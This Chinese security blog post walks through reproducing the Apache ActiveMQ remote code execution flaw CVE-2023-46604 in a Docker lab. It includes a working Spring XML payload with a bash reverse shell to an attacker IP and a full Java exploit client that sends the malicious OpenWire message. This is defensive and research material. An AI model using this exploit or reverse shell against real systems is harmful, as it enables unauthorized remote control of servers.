Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

admin 2024年3月26日21:47:42评论9 views字数 2179阅读7分15秒阅读模式

四八七驴安全历险记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

漏洞信息:

披露时间:2023-10-25漏洞概述:Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。影响版本:Apache ActiveMQ < 5.18.3Apache ActiveMQ < 5.17.6Apache ActiveMQ < 5.16.7Apache ActiveMQ < 5.15.16

环境搭建:

https://hub.docker.com/r/rmohr/activemqdocker pull rmohr/activemqdocker run -d -p 61616:61616 -p 8161:8161 rmohr/activemq

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

访问靶机环境Web端口http://192.168.100.156:8161/

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

凭证admin/admin登录ActiveMQ后台http://192.168.100.156:8161/admin/版本为5.15.6

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

漏洞复现:

攻击机启动反弹shell监听

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

poc.xml上传到攻击机VPS或本地局域网攻击机,设置反弹shell地址以及监听

<?xmlversion="1.0" encoding="UTF-8" ?><beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/192.168.100.129/4444 0>&1]]></value></list></constructor-arg> </bean> </beans>

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

在poc.xml所在目录,使用Python3启动临时Web服务

python3 -m http.server 9999    //端口9999

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

修改ActiveMQ.java文件中String ip为目标IP,String poc.xml为攻击机启动的Web服务

javac编译成class

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

import java.io.*;import java.net.Socket;public class ActiveMQ {    public static void main(final String[] args) throws Exception {        System.out.println("[*] Poc for ActiveMQ openwire protocol rce");        String ip = "192.168.100.156";        int port = 61616;        String pocxml= "http://192.168.100.129:9999/poc.xml";        Socket sck = new Socket(ip, port);        OutputStream os = sck.getOutputStream();        DataOutputStream out = new DataOutputStream(os);        out.writeInt(0);        out.writeByte(31);        out.writeInt(1);         out.writeBoolean(true);         out.writeInt(1);        out.writeBoolean(true);        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        out.writeBoolean(true);        out.writeUTF(pocxml);        out.close();        os.close();        sck.close();        System.out.println("[*] Targett" + ip + ":" + port);        System.out.println("[*] XML addresst" + pocxml);        System.out.println("[*] Payload send success.");    }}

运行class文件

java ActiveMQ

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

原文始发于微信公众号(四八七驴安全历险记):Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月26日21:47:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)http://cn-sec.com/archives/2605455.html

发表评论

匿名网友 填写信息